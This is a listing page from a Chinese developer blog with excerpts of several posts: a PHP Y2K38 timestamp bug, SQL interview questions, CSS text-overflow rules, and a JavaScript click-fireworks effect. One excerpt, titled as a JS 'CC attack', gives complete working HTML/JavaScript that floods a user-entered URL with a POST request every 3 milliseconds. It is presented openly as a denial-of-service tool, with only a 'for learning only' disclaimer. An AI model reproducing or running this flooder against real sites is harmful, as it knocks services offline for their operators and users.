首页
关于
留言
友链
直播
更多
视频
壁纸
Search
1
乐橙CMS影视管理系统最全版本
20,576 阅读
2
新浪图片链接修复教程集合
13,004 阅读
3
乐橙CMS影视管理系统4.0.18版本
11,838 阅读
4
反调试代码调试死机代码禁止F12代码
6,982 阅读
5
爬虫UA大全
6,309 阅读
语言
PHP
Java
Go
JavaScript
CSS
Vue
资源教程
网络杂谈
技术文章
影视交流
软件工具
Mac
Search
标签搜索
PHP
LINUX
微信
MYSQL
P2P
JS
乐橙cms
支付
破解
公众号
typecho
xshell
扫一扫
监控
微信支付
支付宝
JetBrains
redis
VPN
MacBook
子沫'S
累计撰写
103
篇文章
累计收到
368
条评论
首页
栏目
语言
PHP
Java
Go
JavaScript
CSS
Vue
资源教程
网络杂谈
技术文章
影视交流
软件工具
Mac
页面
关于
留言
友链
直播
视频
壁纸
搜索到
8
篇与
语言
的结果
2021-04-16
PHP的strtotime计算2038年以上日期的时间戳错误
今天同事遇到一个bug,获取有效期值错误,同样的代码,其他开发人员操作都没有问题。在定位跟踪后发现有效期有值,如下:$expireDate = 2133999048;但是在该时间戳的基础上加上1 year后, $expireDate的值为false,而不是正确的时间戳。 $expireDate = strtotime("+1 year", $expireDate);Y2K38 漏洞 {message} Y2K38,又称 Unix Millennium Bug,此漏洞将会影响到所有 32 位系统下用 UNIX 时间戳整数来记录时间的 PHP,及其它编程语言。一个整型的变量所能保存的最大时间为 2038 年01月19 日 03:14:07。超过这个时间后,整型数值将会溢出。从 1970 年 01 月 01 日开始,到世界标准时 2038 年 01 月 19 日星期二凌晨 03:14:07 超过 2^31 – 1。2^31 – 1 就是0x7FFFFFFF,相信很多编程员都看过,在 32 位系统里,这表示最大的有符号整数。如果用它来表示秒数,大概相当于 68.1 年,从 1970 年到 2038 年刚好是这个数。{/message}其他解决方案就是升级 php版本到7.1以上
2021年04月16日
197 阅读
0 评论
1 点赞
2021-04-15
面试中遇到的sql练习题
面试中面试官问你啥问题,小编都给你整理在这里了。每天都会整理一份最接地气的面试题,希望能帮助到你!1.用一条SQL 语句查询出每门课都大于80 分的学生姓名?// 第一种方式:select name from table where name not in ( select name from table where score< 80 );// 第二种方式:select name from table group by name having min(score) >= 80;2.删除除了自动编号id不同, 其他都相同的学生冗余信息?字段分别是:id,stunum,name,course,scoredelete table where id not in ( select min(id) from table group by stunum,name,course,score );3.一个叫 team 的表,里面只有一个字段name, 一共有4 条纪录,分别是a,b,c,d, 对应四个球对,现在四个球对进行比赛,用一条sql 语句显示所有可能的比赛组合?// 所有组合:ab,ac,ad, bc,bd, cd 所有左侧字母都小于右侧字母select a.name,b.name from team a,team b where a.name < b.name order by a.name,b.name ;4.从TestDB 数据表中查询出所有月份的发生额都比101 科目相应月份的发生额高的科目?AccID :科目代码,Occmonth :发生额月份,DebitOccur :发生额select a.AccID from TestDB a,( select Occmonth,max(DebitOccur) from TestDB where AccID = '101' group by Occmonth )b where a.Occmonth = b.Occmonth and a.DebitOccur > b.DebitOccur;5.怎么把这样一个表儿查成这样一个结果select year, (select amount from table m where month=1 and m.year=aaa.year) as m1, (select amount from table m where month=2 and m.year=aaa.year) as m2, (select amount from table m where month=3 and m.year=aaa.year) as m3, (select amount from table m where month=4 and m.year=aaa.year) as m4 from table group by year6.复制表( 只复制结构, 源表名:a新表名:b)select * into b from a where 1<>1; // where1=1,拷贝表结构和数据内容7.拷贝表( 拷贝数据, 源表名:a目标表名:b)insert into b(a, b, c) select d,e,f from a;8.显示文章、提交人和最后回复时间select a.title,a.username,b.adddate from table a, (select max(adddate) adddate from table where table.title=a.title) b;9.日程安排提前五分钟提醒select * from 日程安排 where datediff('minute',f 开始时间,getdate())>5;10.两张关联表,删除主表中已经在副表中没有的信息delete from info where not exists ( select * from infobz where info.infid=infobz.infid );11.有两个表A 和B ,均有key 和value 两个字段,如果B 的key 在A 中也有,就把B 的value 换为A 中对应的value?update b set b.value=(select a.value from a where a.key=b.key) where b.id in( select b.id from b,a where b.key=a.key );12.已知有如下4张表:学生表:STUDENT(S#,SNAME,SAGE,SSEX)课程表:COURSE(C#,CNAME,T#)成绩表:SC(S#,C#,SCORE)教师表:TEACHER(T#,TNAME)(1)查询课程编号为“001”的课程比“002”的课程成绩高的所有学生的学号?select x.sno,x.score,y.score from sc x,sc y where x.cno=1001 and y.cno=1002 and x.sno=y.sno and x.score> y.score;(2)查询平均成绩大于60分的学生的学号和平均成绩?select sno,avg(score) from sc group by sno having avg(score)>60;(3)查询所有学生的学号、姓名、选课数、总成绩?select sc.sno,sname,count(cno),sum(score) from student join sc on student.sno=sc.sno group by sc.sno,sname;(4)查询姓“悟”的老师的个数?select count(Tname) from teacher where Tname like'悟%';(5)查询没学过“悟空”老师课的学生的学号、姓名?select sno,sname from student where sno not in( select sno from SC where cno in( select cno from course where tno in( select tno from teacher where tname='悟空' ) ) );
2021年04月15日
156 阅读
0 评论
3 点赞
2021-04-11
Css设置单行文本多行文本溢出隐藏并以省略号显示
单行文本溢出white-space: nowrap; text-overflow: ellipsis; overflow: hidden;两行溢出display: -webkit-box; -webkit-line-clamp: 2; -webkit-box-orient: vertical; overflow: hidden; text-overflow: ellipsis;
2021年04月11日
208 阅读
0 评论
1 点赞
2021-04-11
为你的网站添加点击散开特效
<canvas id="fireworks" style="position: fixed; left: 0px; top: 0px; pointer-events: none; z-index: 2147483647; width: 1920px; height: 151px;" width="3840" height="302"></canvas> <script type="text/javascript" src="https://cdn.jsdelivr.net/npm/animejs@3.0.1/lib/anime.min.js"></script> <script type="text/javascript"> function updateCoords(e) { pointerX = (e.clientX || e.touches[0].clientX) - canvasEl.getBoundingClientRect().left, pointerY = e.clientY || e.touches[0].clientY - canvasEl.getBoundingClientRect().top } function setParticuleDirection(e) { var t = anime.random(0, 360) * Math.PI / 180, a = anime.random(50, 180), n = [-1, 1][anime.random(0, 1)] * a; return { x: e.x + n * Math.cos(t), y: e.y + n * Math.sin(t) } } function createParticule(e, t) { var a = {}; return a.x = e, a.y = t, a.color = colors[anime.random(0, colors.length - 1)], a.radius = anime.random(16, 32), a.endPos = setParticuleDirection(a), a.draw = function() { ctx.beginPath(), ctx.arc(a.x, a.y, a.radius, 0, 2 * Math.PI, !0), ctx.fillStyle = a.color, ctx.fill() }, a } function createCircle(e, t) { var a = {}; return a.x = e, a.y = t, a.color = "#F00", a.radius = .1, a.alpha = .5, a.lineWidth = 6, a.draw = function() { ctx.globalAlpha = a.alpha, ctx.beginPath(), ctx.arc(a.x, a.y, a.radius, 0, 2 * Math.PI, !0), ctx.lineWidth = a.lineWidth, ctx.strokeStyle = a.color, ctx.stroke(), ctx.globalAlpha = 1 }, a } function renderParticule(e) { for (var t = 0; t < e.animatables.length; t++) e.animatables[t].target.draw() } function animateParticules(e, t) { for (var a = createCircle(e, t), n = [], i = 0; i < numberOfParticules; i++) n.push(createParticule(e, t)); anime.timeline().add({ targets: n, x: function(e) { return e.endPos.x }, y: function(e) { return e.endPos.y }, radius: .1, duration: anime.random(1200, 1800), easing: "easeOutExpo", update: renderParticule }).add({ targets: a, radius: anime.random(80, 160), lineWidth: 0, alpha: { value: 0, easing: "linear", duration: anime.random(600, 800) }, duration: anime.random(1200, 1800), easing: "easeOutExpo", update: renderParticule, offset: 0 }) } function debounce(fn, delay) { var timer return function() { var context = this var args = arguments clearTimeout(timer) timer = setTimeout(function() { fn.apply(context, args) }, delay) } } var canvasEl = document.querySelector("#fireworks"); if (canvasEl) { var ctx = canvasEl.getContext("2d"), numberOfParticules = 30, pointerX = 0, pointerY = 0, tap = "mousedown", colors = ["#FF1461", "#18FF92", "#5A87FF", "#FBF38C"], setCanvasSize = debounce(function() { canvasEl.width = 2 * window.innerWidth, canvasEl.height = 2 * window.innerHeight, canvasEl.style.width = window.innerWidth + "px", canvasEl.style.height = window.innerHeight + "px", canvasEl.getContext("2d").scale(2, 2) }, 500), render = anime({ duration: 1 / 0, update: function() { ctx.clearRect(0, 0, canvasEl.width, canvasEl.height) } }); document.addEventListener(tap, function(e) { "sidebar" !== e.target.id && "toggle-sidebar" !== e.target.id && "A" !== e.target.nodeName && "IMG" !== e.target.nodeName && (render.play(), updateCoords(e), animateParticules(pointerX, pointerY)) }, !1), setCanvasSize(), window.addEventListener("resize", setCanvasSize, !1) } </script>
2021年04月11日
220 阅读
0 评论
1 点赞
2021-04-11
使用JS实现CC网站攻击
今天兴趣来潮,使用原生js写了一个cc攻击,当然只是简单的写一下,对小服务器来说,可以轻松的压出502,服务器牛逼的话,没什么效果,比如本站就是小服务器,cc压下就502了,下面是源码,仅供学习使用.<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8" /> <meta http-equiv="X-UA-Compatible" content="IE=edge" /> <meta name="viewport" content="width=device-width, initial-scale=1.0" /> <title>Document</title> <style> body { display: flex; align-items: center; justify-content: center; } input { height: 35px; padding: 0 10px; box-sizing: border-box; outline: none; } </style> </head> <body> <input type="text" placeholder="请输入需要被CC的网址" style="margin-right: 10px" /> <input type="button" value="开始" /> <script> let timer = null; const input = document.querySelector('input[type="text"]'); const button = document.querySelector('input[type="button"]'); button.addEventListener('click', function () { const url = input.value; if (!url) return alert('请输入需要被压的域名'); if (!url.startsWith('http')) return alert('请输入http或https开头的网址'); if (this.value === '开始') { this.value = '停止'; timer = setInterval(() => { const xhr = new XMLHttpRequest(); xhr.open('POST', url, true); xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'); xhr.send('name=name'); }, 3); } else { this.value = '开始'; clearInterval(timer); } }); </script> </body> </html>
2021年04月11日
137 阅读
0 评论
1 点赞
1
2